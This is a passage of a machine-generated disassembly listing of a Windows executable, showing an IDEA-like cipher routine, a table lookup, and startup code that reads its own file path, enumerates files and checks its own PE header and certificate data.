		mov	ax, [ebp+var_20]
		mov	[ebp+var_3E], ax
		jmp	short loc_416924
; ---------------------------------------------------------------------------


loc_41690F:				; CODE XREF: sub_41656C+354j
		movzx	eax, [ebp+var_10]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_20], cx
		mov	ax, [ebp+var_20]
		mov	[ebp+var_3E], ax


loc_416924:				; CODE XREF: sub_41656C+3A1j
		mov	ax, [ebp+var_3E]
		mov	[ebp+var_40], ax
		jmp	short loc_416943
; ---------------------------------------------------------------------------


loc_41692E:				; CODE XREF: sub_41656C+33Bj
		movzx	eax, [ebp+var_20]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_20], cx
		mov	ax, [ebp+var_20]
		mov	[ebp+var_40], ax


loc_416943:				; CODE XREF: sub_41656C+3C0j
		mov	ax, [ebp+var_28]
		add	ax, [ebp+var_20]
		mov	[ebp+var_28], ax
		mov	ax, [ebp+var_1C]
		xor	ax, [ebp+var_20]
		mov	[ebp+var_1C], ax
		mov	ax, [ebp+var_2C]
		xor	ax, [ebp+var_28]
		mov	[ebp+var_2C], ax
		mov	ax, [ebp+var_20]
		xor	ax, [ebp+var_14]
		mov	[ebp+var_20], ax
		mov	ax, [ebp+var_28]
		xor	ax, [ebp+var_C]
		mov	[ebp+var_28], ax
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	loc_416613
		mov	eax, [ebp+arg_8]
		mov	ax, [eax]
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_8]
		inc	ecx
		inc	ecx
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	loc_416A2F
		movzx	eax, [ebp+var_1C]
		and	eax, 0FFFFh
		mov	[ebp+var_1C], ax
		movzx	eax, [ebp+var_1C]
		test	eax, eax
		jz	short loc_416A10
		movzx	eax, [ebp+var_1C]
		movzx	ecx, [ebp+var_10]
		imul	eax, ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	[ebp+var_1C], ax
		mov	eax, [ebp+var_24]
		shr	eax, 10h
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_1C]
		movzx	ecx, [ebp+var_10]
		sub	eax, ecx
		movzx	ecx, [ebp+var_1C]
		movzx	edx, [ebp+var_10]
		xor	ebx, ebx
		cmp	ecx, edx
		setl	bl
		add	eax, ebx
		mov	[ebp+var_1C], ax
		mov	ax, [ebp+var_1C]
		mov	[ebp+var_42], ax
		jmp	short loc_416A25
; ---------------------------------------------------------------------------


loc_416A10:				; CODE XREF: sub_41656C+455j
		movzx	eax, [ebp+var_10]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_1C], cx
		mov	ax, [ebp+var_1C]
		mov	[ebp+var_42], ax


loc_416A25:				; CODE XREF: sub_41656C+4A2j
		mov	ax, [ebp+var_42]
		mov	[ebp+var_44], ax
		jmp	short loc_416A44
; ---------------------------------------------------------------------------


loc_416A2F:				; CODE XREF: sub_41656C+43Cj
		movzx	eax, [ebp+var_1C]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_1C], cx
		mov	ax, [ebp+var_1C]
		mov	[ebp+var_44], ax


loc_416A44:				; CODE XREF: sub_41656C+4C1j
		mov	eax, [ebp+arg_8]
		mov	cx, [ebp+var_28]
		add	cx, [eax]
		mov	[ebp+var_28], cx
		mov	eax, [ebp+arg_8]
		inc	eax
		inc	eax
		mov	[ebp+arg_8], eax
		mov	eax, [ebp+arg_8]
		mov	cx, [ebp+var_20]
		add	cx, [eax]
		mov	[ebp+var_20], cx
		mov	eax, [ebp+arg_8]
		inc	eax
		inc	eax
		mov	[ebp+arg_8], eax
		mov	eax, [ebp+arg_8]
		mov	ax, [eax]
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_10]
		test	eax, eax
		jz	loc_416B07
		movzx	eax, [ebp+var_2C]
		and	eax, 0FFFFh
		mov	[ebp+var_2C], ax
		movzx	eax, [ebp+var_2C]
		test	eax, eax
		jz	short loc_416AE8
		movzx	eax, [ebp+var_2C]
		movzx	ecx, [ebp+var_10]
		imul	eax, ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	[ebp+var_2C], ax
		mov	eax, [ebp+var_24]
		shr	eax, 10h
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_2C]
		movzx	ecx, [ebp+var_10]
		sub	eax, ecx
		movzx	ecx, [ebp+var_2C]
		movzx	edx, [ebp+var_10]
		xor	ebx, ebx
		cmp	ecx, edx
		setl	bl
		add	eax, ebx
		mov	[ebp+var_2C], ax
		mov	ax, [ebp+var_2C]
		mov	[ebp+var_46], ax
		jmp	short loc_416AFD
; ---------------------------------------------------------------------------


loc_416AE8:				; CODE XREF: sub_41656C+52Dj
		movzx	eax, [ebp+var_10]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_2C], cx
		mov	ax, [ebp+var_2C]
		mov	[ebp+var_46], ax


loc_416AFD:				; CODE XREF: sub_41656C+57Aj
		mov	ax, [ebp+var_46]
		mov	[ebp+var_48], ax
		jmp	short loc_416B1C
; ---------------------------------------------------------------------------


loc_416B07:				; CODE XREF: sub_41656C+514j
		movzx	eax, [ebp+var_2C]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_2C], cx
		mov	ax, [ebp+var_2C]
		mov	[ebp+var_48], ax


loc_416B1C:				; CODE XREF: sub_41656C+599j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		movzx	eax, [ebp+var_1C]
		sar	eax, 8
		movzx	ecx, [ebp+var_1C]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx], ax
		mov	eax, [ebp+var_8]
		inc	eax
		inc	eax
		mov	[ebp+var_8], eax
		movzx	eax, [ebp+var_28]
		sar	eax, 8
		movzx	ecx, [ebp+var_28]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx], ax
		mov	eax, [ebp+var_8]
		inc	eax
		inc	eax
		mov	[ebp+var_8], eax
		movzx	eax, [ebp+var_20]
		sar	eax, 8
		movzx	ecx, [ebp+var_20]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx], ax
		mov	eax, [ebp+var_8]
		inc	eax
		inc	eax
		mov	[ebp+var_8], eax
		movzx	eax, [ebp+var_2C]
		sar	eax, 8
		movzx	ecx, [ebp+var_2C]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx], ax
		pop	ebx
		leave
		retn	0Ch
sub_41656C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp-0Ch], ecx
		mov	eax, [ebp+8]
		mov	[ebp-4], eax
		and	dword ptr [ebp-8], 0
		jmp	short loc_416BB3
; ---------------------------------------------------------------------------


loc_416BAC:				; CODE XREF: _3:00416BD9j
		mov	eax, [ebp-8]
		inc	eax
		mov	[ebp-8], eax


loc_416BB3:				; CODE XREF: _3:00416BAAj
		mov	eax, [ebp-8]
		cmp	eax, [ebp+0Ch]
		jge	short locret_416BDB
		mov	eax, [ebp-0Ch]
		add	eax, 68h
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-4]
		mov	ecx, [ebp-0Ch]
		call	sub_41656C
		mov	eax, [ebp-4]
		add	eax, 8
		mov	[ebp-4], eax
		jmp	short loc_416BAC
; ---------------------------------------------------------------------------

locret_416BDB:				; CODE XREF: _3:00416BB9j
		leave
		retn	8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BE0	proc near		; CODE XREF: sub_41CA0F+1Ap
					; sub_41D112+11p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	eax, ds:dword_424870
		mov	[ebp+var_4], eax
		mov	ecx, ds:dword_424874
		imul	ecx, 18h
		mov	edx, ds:dword_424870
		add	edx, ecx
		mov	[ebp+var_8], edx
		jmp	short loc_416C0F
; ---------------------------------------------------------------------------


loc_416C06:				; CODE XREF: sub_416BE0:loc_416C47j
		mov	eax, [ebp+var_4]
		add	eax, 18h
		mov	[ebp+var_4], eax


loc_416C0F:				; CODE XREF: sub_416BE0+24j
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+var_8]
		jz	short loc_416C49
		mov	ecx, 10h
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_4]
		xor	edx, edx
		mov	[ebp+var_C], edx
		repe cmpsb
		jz	short loc_416C33
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax


loc_416C33:				; CODE XREF: sub_416BE0+49j
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_10], ecx
		cmp	[ebp+var_10], 0
		jnz	short loc_416C47
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		jmp	short loc_416C4B
; ---------------------------------------------------------------------------


loc_416C47:				; CODE XREF: sub_416BE0+5Dj
		jmp	short loc_416C06
; ---------------------------------------------------------------------------


loc_416C49:				; CODE XREF: sub_416BE0+35j
		xor	eax, eax


loc_416C4B:				; CODE XREF: sub_416BE0+65j
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_416BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C60	proc near		; CODE XREF: sub_418780+Dp

var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_1EC		= dword	ptr -1ECh
var_1E8		= dword	ptr -1E8h
var_1E4		= dword	ptr -1E4h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1CC		= dword	ptr -1CCh
var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= dword	ptr -1BCh
var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_16C		= byte ptr -16Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041739F SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421400
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFE1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	offset dword_424848
		call	ds:dword_4246CC	; InitializeCriticalSection
		mov	[ebp+var_1C], 0
		mov	[ebp+var_20], 0
		mov	[ebp+var_24], 0FFFFFFFFh
		mov	[ebp+var_4], 0
		call	sub_411E70
		and	eax, 0FFh
		mov	ds:dword_423B60, eax
		push	104h
		call	sub_41BA4A
		add	esp, 4
		mov	[ebp+var_1A8], eax
		mov	eax, [ebp+var_1A8]
		mov	[ebp+var_1C], eax
		push	220h
		call	sub_41BA4A
		add	esp, 4
		mov	[ebp+var_1AC], eax
		mov	ecx, [ebp+var_1AC]
		mov	[ebp+var_20], ecx
		mov	ecx, 88h
		xor	eax, eax
		mov	edi, [ebp+var_20]
		rep stosd
		push	104h
		mov	edx, [ebp+var_1C]
		push	edx
		push	0
		call	ds:dword_424698	; GetModuleHandleA
		push	eax
		call	ds:dword_424694	; GetModuleFileNameA
		mov	eax, [ebp+var_20]
		add	eax, 218h
		push	eax
		mov	ecx, [ebp+var_20]
		add	ecx, 10h
		push	ecx
		push	104h
		mov	edx, [ebp+var_1C]
		push	edx
		call	ds:dword_424688	; GetFullPathNameA
		mov	edi, [ebp+var_20]
		add	edi, 10h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		push	ecx
		mov	eax, [ebp+var_20]
		add	eax, 10h
		push	eax
		call	ds:dword_424748	; CharUpperBuffA
		mov	ecx, [ebp+var_20]
		add	ecx, 10h
		mov	edx, [ebp+var_20]
		mov	eax, [edx+218h]
		sub	eax, ecx
		mov	ecx, [ebp+var_20]
		mov	[ecx+21Ch], eax
		mov	edi, [ebp+var_20]
		add	edi, 10h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_2C]
		add	edx, 1
		push	edx
		call	sub_41BA4A
		add	esp, 4
		mov	[ebp+var_1B0], eax
		mov	eax, [ebp+var_1B0]
		mov	ds:dword_42488C, eax
		mov	ecx, [ebp+var_20]
		add	ecx, 10h
		mov	edi, ecx
		mov	edx, ds:dword_42488C
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ds:dword_424604
		mov	edx, [ecx+24h]
		and	edx, 2
		neg	edx
		sbb	edx, edx
		neg	edx
		mov	byte ptr [ebp+var_28], dl
		mov	eax, [ebp+var_28]
		and	eax, 0FFh
		test	eax, eax
		jz	loc_416EAD
		mov	ecx, ds:dword_424604
		mov	edx, [ecx+2Ch]
		add	edx, 30h
		mov	[ebp+var_38], edx
		mov	edi, [ebp+var_38]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		mov	[ebp+var_34], ecx
		push	5Ch
		mov	eax, [ebp+var_20]
		add	eax, 10h
		push	eax
		call	sub_4105C0
		add	esp, 8
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0
		jnz	short loc_416E50
		mov	edi, [ebp+var_20]
		add	edi, 10h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		mov	edx, [ebp+var_20]
		lea	eax, [edx+ecx+10h]
		mov	[ebp+var_30], eax


loc_416E50:				; CODE XREF: sub_416C60+1D2j
		mov	ecx, [ebp+var_20]
		add	ecx, 10h
		mov	edx, [ebp+var_30]
		sub	edx, ecx
		add	edx, [ebp+var_34]
		cmp	edx, 104h
		jb	short loc_416E70
		mov	ecx, 0EF000004h
		call	sub_41BA32


loc_416E70:				; CODE XREF: sub_416C60+204j
		mov	ecx, [ebp+var_34]
		add	ecx, 1
		mov	esi, [ebp+var_38]
		mov	edi, [ebp+var_30]
		add	edi, 1
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebp+var_20]
		add	edi, 10h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		push	ecx
		mov	ecx, [ebp+var_20]
		add	ecx, 10h
		push	ecx
		call	ds:dword_424748	; CharUpperBuffA


loc_416EAD:				; CODE XREF: sub_416C60+193j
		mov	edx, [ebp+var_20]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_20]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+var_20]
		mov	ds:dword_424888, ecx
		mov	edx, ds:dword_424604
		mov	eax, [edx+24h]
		and	eax, 1
		test	eax, eax
		jz	short loc_416EEC
		push	1
		push	1
		mov	ecx, [ebp+var_20]
		add	ecx, 10h
		push	ecx
		call	loc_4173B0
		add	esp, 0Ch


loc_416EEC:				; CODE XREF: sub_416C60+277j
		push	105h
		call	sub_41BA4A
		add	esp, 4
		mov	[ebp+var_1B4], eax
		mov	edx, [ebp+var_1B4]
		mov	[ebp+var_40], edx
		push	5Ch
		mov	eax, [ebp+var_20]
		add	eax, 10h
		push	eax
		call	sub_4105C0
		add	esp, 8
		add	eax, 1
		mov	[ebp+var_4C], eax
		mov	[ebp+var_44], 0
		mov	ecx, ds:dword_424604
		mov	edx, [ecx+2Ch]
		add	edx, 71h
		mov	[ebp+var_48], edx
		mov	edi, [ebp+var_48]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		mov	eax, [ebp+var_48]
		add	eax, ecx
		mov	[ebp+var_3C], eax
		mov	ecx, [ebp+var_48]
		cmp	ecx, [ebp+var_3C]
		jz	loc_417187
		mov	[ebp+var_44], 1
		mov	edx, [ebp+var_48]
		mov	[ebp+var_19C], edx
		jmp	short loc_416F79
; ---------------------------------------------------------------------------


loc_416F6A:				; CODE XREF: sub_416C60:loc_416FA4j
		mov	eax, [ebp+var_19C]
		add	eax, 1
		mov	[ebp+var_19C], eax


loc_416F79:				; CODE XREF: sub_416C60+308j
		mov	ecx, [ebp+var_19C]
		cmp	ecx, [ebp+var_3C]
		jz	short loc_416FA6
		mov	edx, [ebp+var_19C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 3Bh
		jnz	short loc_416FA4
		mov	ecx, [ebp+var_19C]
		mov	byte ptr [ecx],	0
		mov	edx, [ebp+var_44]
		add	edx, 1
		mov	[ebp+var_44], edx


loc_416FA4:				; CODE XREF: sub_416C60+330j
		jmp	short loc_416F6A
; ---------------------------------------------------------------------------


loc_416FA6:				; CODE XREF: sub_416C60+322j
		mov	eax, [ebp+var_20]
		add	eax, 114h
		mov	edi, eax
		mov	edx, [ebp+var_40]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	ecx, [ebp+var_50]
		push	ecx
		mov	edx, [ebp+var_40]
		push	edx
		push	104h
		mov	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_424688	; GetFullPathNameA
		mov	edi, [ebp+var_40]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		push	ecx
		mov	ecx, [ebp+var_40]
		push	ecx
		call	ds:dword_424748	; CharUpperBuffA
		mov	edx, [ebp+var_48]
		mov	[ebp+var_54], edx
		mov	[ebp+var_58], 0
		jmp	short loc_417019
; ---------------------------------------------------------------------------


loc_417010:				; CODE XREF: sub_416C60+522j
		mov	eax, [ebp+var_58]
		add	eax, 1
		mov	[ebp+var_58], eax


loc_417019:				; CODE XREF: sub_416C60+3AEj
		mov	ecx, [ebp+var_58]
		cmp	ecx, [ebp+var_44]
		jnb	loc_417187
		mov	edi, [ebp+var_54]
		mov	edx, [ebp+var_50]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	ecx, [ebp+var_198]
		push	ecx
		mov	edx, [ebp+var_40]
		push	edx
		call	ds:dword_424650	; FindFirstFileA
		mov	[ebp+var_1A0], eax
		cmp	[ebp+var_1A0], 0FFFFFFFFh
		jz	loc_417164


loc_41706C:				; CODE XREF: sub_416C60+4F1j
		mov	eax, [ebp+var_198]
		and	eax, 10h
		test	eax, eax
		jnz	loc_41713B
		mov	ecx, [ebp+var_4C]
		push	ecx
		lea	edx, [ebp+var_16C]
		push	edx
		call	ds:dword_424740	; lstrcmpi
		test	eax, eax
		jz	loc_41713B
		lea	edi, [ebp+var_16C]
		mov	edx, [ebp+var_50]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebp+var_50]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		push	ecx
		mov	ecx, [ebp+var_50]
		push	ecx
		call	ds:dword_424748	; CharUpperBuffA
		mov	[ebp+var_1A4], 0
		mov	[ebp+var_4], 1
		push	0
		push	1
		mov	edx, [ebp+var_40]
		push	edx
		call	loc_4173B0
		add	esp, 0Ch
		mov	[ebp+var_4], 0
		jmp	short loc_41713B
; ---------------------------------------------------------------------------


loc_417100:				; DATA XREF: _4:00421410o
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	edx, [ecx]
		mov	[ebp+var_1E4], edx
		mov	eax, [ebp+var_1E4]
		mov	[ebp+var_1A4], eax
		mov	ecx, [ebp+var_1A4]
		and	ecx, 0EF000000h
		xor	eax, eax
		cmp	ecx, 0EF000000h
		setz	al
		retn
; ---------------------------------------------------------------------------


loc_417131:				; DATA XREF: _4:00421414o
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0


loc_41713B:				; CODE XREF: sub_416C60+417j
					; sub_416C60+430j ...
		lea	edx, [ebp+var_198]
		push	edx
		mov	eax, [ebp+var_1A0]
		push	eax
		call	ds:dword_424654	; FindNextFileA
		test	eax, eax
		jnz	loc_41706C
		mov	ecx, [ebp+var_1A0]
		push	ecx
		call	ds:dword_42464C	; FindClose


loc_417164:				; CODE XREF: sub_416C60+406j
					; sub_416C60+517j
		mov	edx, [ebp+var_54]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_417179
		mov	ecx, [ebp+var_54]
		add	ecx, 1
		mov	[ebp+var_54], ecx
		jmp	short loc_417164
; ---------------------------------------------------------------------------


loc_417179:				; CODE XREF: sub_416C60+50Cj
		mov	edx, [ebp+var_54]
		add	edx, 1
		mov	[ebp+var_54], edx
		jmp	loc_417010
; ---------------------------------------------------------------------------


loc_417187:				; CODE XREF: sub_416C60+2F2j
					; sub_416C60+3BFj
		mov	eax, [ebp+var_40]
		mov	[ebp+var_1B8], eax
		mov	ecx, [ebp+var_1B8]
		push	ecx
		call	sub_41BACD
		add	esp, 4
		call	sub_418070
		push	10040h
		call	sub_41BA4A
		add	esp, 4
		mov	[ebp+var_1BC], eax
		mov	edx, [ebp+var_1BC]
		mov	ds:dword_424878, edx
		push	10000h
		call	sub_41BA4A
		add	esp, 4
		mov	[ebp+var_1C0], eax
		mov	eax, [ebp+var_1C0]
		mov	ds:dword_42487C, eax
		push	10000h
		call	sub_41BA4A
		add	esp, 4
		mov	[ebp+var_1C4], eax
		mov	ecx, [ebp+var_1C4]
		mov	ds:dword_424880, ecx
		push	10000h
		call	sub_41BA4A
		add	esp, 4
		mov	[ebp+var_1C8], eax
		mov	edx, [ebp+var_1C8]
		mov	ds:dword_424884, edx
		push	28h
		call	sub_41BA4A
		add	esp, 4
		mov	[ebp+var_1CC], eax
		cmp	[ebp+var_1CC], 0
		jz	short loc_417250
		push	83h
		mov	ecx, [ebp+var_1CC]
		call	sub_41EA57
		mov	[ebp+var_1E8], eax
		jmp	short loc_41725A
; ---------------------------------------------------------------------------


loc_417250:				; CODE XREF: sub_416C60+5D6j
		mov	[ebp+var_1E8], 0


loc_41725A:				; CODE XREF: sub_416C60+5EEj
		mov	eax, [ebp+var_1E8]
		mov	ds:dword_424864, eax
		push	28h
		call	sub_41BA4A
		add	esp, 4
		mov	[ebp+var_1D0], eax
		cmp	[ebp+var_1D0], 0
		jz	short loc_417296
		push	83h
		mov	ecx, [ebp+var_1D0]
		call	sub_41EA57
		mov	[ebp+var_1EC], eax
		jmp	short loc_4172A0
; ---------------------------------------------------------------------------


loc_417296:				; CODE XREF: sub_416C60+61Cj
		mov	[ebp+var_1EC], 0


loc_4172A0:				; CODE XREF: sub_416C60+634j
		mov	ecx, [ebp+var_1EC]
		mov	ds:dword_424868, ecx
		push	28h
		call	sub_41BA4A
		add	esp, 4
		mov	[ebp+var_1D4], eax
		cmp	[ebp+var_1D4], 0
		jz	short loc_4172DD
		push	83h
		mov	ecx, [ebp+var_1D4]
		call	sub_41EA57
		mov	[ebp+var_1F0], eax
		jmp	short loc_4172E7
; ---------------------------------------------------------------------------


loc_4172DD:				; CODE XREF: sub_416C60+663j
		mov	[ebp+var_1F0], 0


loc_4172E7:				; CODE XREF: sub_416C60+67Bj
		mov	edx, [ebp+var_1F0]
		mov	ds:dword_424860, edx
		push	28h
		call	sub_41BA4A
		add	esp, 4
		mov	[ebp+var_1D8], eax
		cmp	[ebp+var_1D8], 0
		jz	short loc_417324
		push	83h
		mov	ecx, [ebp+var_1D8]
		call	sub_41EA57
		mov	[ebp+var_1F4], eax
		jmp	short loc_41732E
; ---------------------------------------------------------------------------


loc_417324:				; CODE XREF: sub_416C60+6AAj
		mov	[ebp+var_1F4], 0


loc_41732E:				; CODE XREF: sub_416C60+6C2j
		mov	eax, [ebp+var_1F4]
		mov	ds:dword_42486C, eax
		mov	[ebp+var_20], 0
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41734E
		jmp	short loc_41739F
sub_416C60	endp


; =============== S U B	R O U T	I N E =======================================



sub_41734E	proc near		; CODE XREF: sub_416C60+6E7p
					; DATA XREF: _4:00421408o
		mov	ecx, [ebp-1Ch]
		mov	[ebp-1DCh], ecx
		mov	edx, [ebp-1DCh]
		push	edx
		call	sub_41BACD
		add	esp, 4
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_41738E
		mov	ds:dword_424888, 0
		mov	eax, [ebp-20h]
		mov	[ebp-1E0h], eax
		mov	ecx, [ebp-1E0h]
		push	ecx
		call	sub_41BACD
		add	esp, 4


loc_41738E:				; CODE XREF: sub_41734E+1Cj
		cmp	dword ptr [ebp-24h], 0FFFFFFFFh
		jz	short locret_41739E
		mov	edx, [ebp-24h]
		push	edx
		call	ds:dword_424624	; CloseHandle

locret_41739E:				; CODE XREF: sub_41734E+44j
		retn
sub_41734E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_416C60


loc_41739F:				; CODE XREF: sub_416C60+6ECj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_416C60
; ---------------------------------------------------------------------------


loc_4173B0:				; CODE XREF: sub_416C60+284p
					; sub_416C60+48Fp
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421418
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFD9Ch
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-20h], 0
		mov	edi, [ebp+8]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		mov	[ebp-1Ch], ecx
		mov	dword ptr [ebp-28h], 0FFFFFFFFh
		mov	dword ptr [ebp-24h], 0
		mov	dword ptr [ebp-4], 0
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+8]
		push	eax
		call	ds:dword_424628	; CreateFileA
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-28h], 0FFFFFFFFh
		jnz	short loc_417430
		mov	ecx, 0EF000005h
		call	sub_41BA32


loc_417430:				; CODE XREF: _3:00417424j
		push	0
		mov	ecx, [ebp-28h]
		push	ecx
		call	ds:dword_424680	; GetFileSize
		mov	[ebp-4Ch], eax
		mov	dword ptr [ebp-70h], 0
		mov	edx, [ebp+10h]
		and	edx, 0FFh
		test	edx, edx
		jz	loc_417537
		mov	eax, ds:dword_424604
		mov	ecx, [eax+24h]
		and	ecx, 2
		test	ecx, ecx
		jnz	loc_417537
		mov	edx, ds:dword_424604
		mov	eax, [edx+4]
		mov	[ebp-78h], eax
		mov	ecx, [ebp-78h]
		mov	edx, [ebp-78h]
		add	edx, [ecx+3Ch]
		mov	ds:dword_424890, edx
		mov	eax, ds:dword_424890
		cmp	dword ptr [eax], 4550h
		jz	short loc_41749C
		mov	ecx, 0EF000002h
		call	sub_41BA32


loc_41749C:				; CODE XREF: _3:00417490j
		mov	ecx, ds:dword_424890
		add	ecx, 98h
		mov	[ebp-74h], ecx
		mov	edx, [ebp-74h]
		cmp	dword ptr [edx], 0
		jz	loc_417537
		mov	eax, [ebp-74h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_417537
		mov	ecx, [ebp-74h]
		mov	edx, [ebp-4Ch]
		sub	edx, [ecx]
		neg	edx
		mov	[ebp-70h], edx
		mov	eax, [ebp-74h]
		mov	ecx, [eax]
		mov	[ebp-4Ch], ecx
		mov	dword ptr [ebp-7Ch], 0


loc_4174DC:				; CODE XREF: _3:00417535j
		push	2
		push	0
		mov	edx, [ebp-70h]
		sub	edx, 1
